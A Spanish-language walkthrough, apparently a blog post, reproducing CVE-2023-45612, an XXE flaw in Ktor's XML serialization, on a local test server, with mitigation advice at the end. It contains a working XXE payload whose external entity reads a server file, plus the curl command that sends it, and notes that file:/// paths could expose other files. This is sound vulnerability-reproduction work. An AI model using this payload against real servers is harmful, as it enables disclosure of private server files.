
Reproducción de un problema de seguridad de alta severidad que permite ataques XXE (XML eXternal Entity) en la serialización XML de Ktor.
CVE-2023-45612 es un problema de seguridad de alta gravedad que permite ataques XXE (XML eXternal Entity) en la serialización XML de Ktor, que fue parcheado en 2023.
A continuación se muestra una forma detallada de cómo reproduje el problema.
Primero, necesitamos un servidor que procese los archivos XML. Creamos un proyecto Kotlin desde IntelliJ IDEA y modificamos el build.gradle.kts para usar las dependencias de Ktor que necesitamos y el plugin de serialización. io.ktor:ktor-serialization-kotlinx-xml es la dependencia que nos interesa. La versión 2.3.4 es la vulnerable y la versión 2.3.5 es la parcheada.
Luego, añadimos en la raíz del proyecto un archivo llamado sensitive_infos.txt que está destinado a ser privado y no accesible desde fuera del servidor. El contenido de este archivo es "Esta información debería ser secreta y no accesible enviando un archivo .xmf.".
Luego, implementamos el servidor en Main.kt. Está diseñado para procesar el XML enviado por el cliente serializándolo en un String (name) de la clase Person. Después, el servidor responde confirmando el nombre que el cliente acaba de enviar. Tras iniciar el servidor, podemos probar el uso normal y el malicioso:
El cliente envía un archivo XML con su nombre y recibe una confirmación con el nombre que acaba de enviar. Podemos probar esto con el siguiente archivo XML:
<?xml version="1.0" encoding="UTF-8"?>
<manifest xmlns="http://example.com/">
<name>Clément</name>
</manifest>
y el comando:
curl -X POST http://localhost:8080/process -H "Content-Type: application/xml" -d @data.xml
El cliente define una entidad proporcionando una cadena de sustitución en forma de URI y envía el archivo XML malicioso; luego recibe el contenido de un archivo secreto accesible por el servidor. Muestro a continuación un ejemplo con un archivo (sensitive_infos.txt) que está en la raíz del servidor, pero ten en cuenta que también podrías llegar a otros archivos (si el analizador XML puede acceder a su contenido), por ejemplo con file:/// si el servidor se ejecuta en Linux.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY exploit SYSTEM "sensitive_infos.txt">
]>
<manifest xmlns="http://example.com/">
<name>&exploit;</name>
</manifest>
y el comando
curl -X POST http://localhost:8080/process -H "Content-Type: application/xml" -d @xxe.xml
El servidor responde con "Nombre enviado: Esta información debería ser secreta y no accesible enviando un archivo .xmf.", lo que demuestra que efectivamente accedimos a la información secreta y que, por tanto, hay una vulnerabilidad.
Por cierto, cambiar la versión de 2.3.4 a 2.3.5 en build.gradle.kts resuelve el problema y el servidor solo responde "Nombre enviado" para la entrada maliciosa, mientras conserva una respuesta normal para la entrada normal, lo que nos confirma que el problema de seguridad se ha resuelto en 2.3.5.
¡Nunca confíes en el usuario! El analizador de Ktor podría sanear las entradas, por ejemplo descartando todos los archivos XML de entrada que contengan una entidad.
Menos restrictivo para el usuario, Ktor podría deshabilitar las entidades externas por defecto estableciendo las características external-general-entities y external-parameter-entities en false, de modo que el usuario aún pueda declarar una entidad en su archivo XML, pero esta entidad ya no pueda acceder a ningún recurso externo.
Incluir pruebas de ataques XXE en el CI/CD de Ktor para asegurarse de que el código no sea vulnerable a ellos.